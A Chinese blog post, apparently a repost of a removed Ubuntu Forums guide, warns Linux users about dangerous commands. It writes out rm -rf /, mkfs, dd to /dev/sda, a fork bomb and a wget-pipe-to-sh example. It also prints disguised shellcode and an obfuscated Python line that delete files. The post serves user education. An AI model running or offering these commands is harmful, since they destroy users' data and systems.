(這篇文章本來是放在Ubuntu
Forums上的,不過後來被移除了。Ubuntu
guide
覺得這樣的知識會帶來誤導的風險,但又認為知識應該要保持開放而不是隱藏危險來保護(K)Ubuntu/Linux的形象,於是原本的文件則被重新建立到這裡。
注意:關於一些惡意指令你相當需要花一些時間來做一些基本的了解,不論你要執行什麼指令,你都必須小心,尤其是以下這些指令(或類似的指令,或下載來的scripts)。
建議你開啟螢幕保護程式並且使用密碼,來避免在你離開電腦的時候,不小心被執行了以下任何的指令。
當你對以下的指令感到懷疑、不安時,建議你可以參考man pages來了解指令的意義。
這裡有些具有危險性的範例,並不建議你在任何的電腦上執行,尤其是這電腦上擁有具有價值的資料時。建議你可以在LiveCD或者Virtual Machine的環境中實驗。
刪除所有的檔案,刪除現在的所在的目錄,或者刪除目前所在的目錄中所有可見的檔案
rm 意思是刪除,-f 意思是強制刪除(即使是唯讀也一樣),而 -r 意思是遞迴,例如:從現有的目錄包含底下所有的子目錄。 " rm -rf / " 意思是強制刪除根目錄底下所有的子目錄。 " rm -rf . " 意思是強制刪除現在的目錄與所有的子目錄。 " rm -rf * " 強制刪除現在目錄中所有的檔案與所有的子目錄。rm -rf / rm -rf . rm -rf *另一種變形是下面這個指令,它將會刪除你現在所在的目錄與所有的子目錄,且排除上層的目錄 ".." 。
rm -r .[^.]*
重新格式化你的裝置
mkfs後面不管接什麼,都會將你的系統格式化成空白的filesystemmkfs mkfs.ext3 mkfs.anything
Block device manipulation
這個指令會將raw data 寫入到硬體block device中,通常這麼做會造成filesystem的資料毀損:any_command > /dev/sda dd if=something of=/dev/sda
Forkbomb
這個指令會造成大量的 processes 被執行,直到系統當掉為止,這時候你只能將你的電腦強制重開機,而這麼做很可能造成系統毀損或者資料遺失。- In
Bourne-ish shells (like Bash):
:(){:|:&};:
- In
Perl
fork while fork
Tarbomb
某人請你解壓縮tar的壓縮檔到你現有的目錄中,這個tar檔可能裏面有數以百萬計的檔案,利用檔名猜測的方式將你的資料都給覆蓋過去。建議你應該將壓縮檔解壓縮到一個空的目錄中,並且確保解壓縮後的檔案是在這個空目錄中,而不會影響到現有的系統。Decompression bombs
某人請你解壓縮一個小檔案,而這檔案很可能是經過高度壓縮的資料,內容可能高達數百GB,而將你的硬碟給塞爆,你永遠都不要從你不信任的來源下載任何檔案。Shell scripts中的惡意程式碼
某人給你一個可執行的shell script 並且建議你下載與執行它。這個 script 中可以帶有任何指令,當然也可能帶有惡意指令。永遠不要執行你不信認的人給你的指令。例如:
wget http://some_place/some_file sh ./some_file
- or
wget http://some_place/some_file -O- | sh
編譯與執行惡意原始碼
某人給你原始碼並且要你編譯它。要在大量的原始碼中隱藏惡意程式碼是一件很容易的事,原始碼給予攻擊者更多有創意的方式來隱藏惡意程式碼。所以不要編譯或執行你不信任的程式碼。一個知名的例子曾經出現在mailing list上,他偽裝成他可以證明"sudo 的漏洞". 它聲稱如果你執行這個程式碼,就不需要在shell中執行sudo就可以取得root權限(像是gksudo、kdesudo)。在程式碼中內容是這樣子的:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";對一些新手甚至是有經驗的電腦使用者來說,這看起來就像是 "hex code" 的奇怪東西,而你很可能誤以為它真的只是一個安全的概念證明。而實際上他是執行這個指令
rm -rf ~ / &
這個指令將會刪除你的家目錄,如果你是用root權限執行這個程式,他會連你的根目錄一起給刪除。如果你能夠知道這是hex
string格式的指令,你應該已經是個進階的電腦使用者,你應該是不會去執行你不了解的code,但是對一般的使用這來說,必須記得惡意程式碼永遠都會以不同的型式出現,安裝任何程式都必須要小心謹慎,尤其是來自你不信任的地方。這裡有另外一個Python的例子:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
"sn!.sg!+"
的意思就是rm
-rf * 的指令。參考來源:
沒有留言 :
張貼留言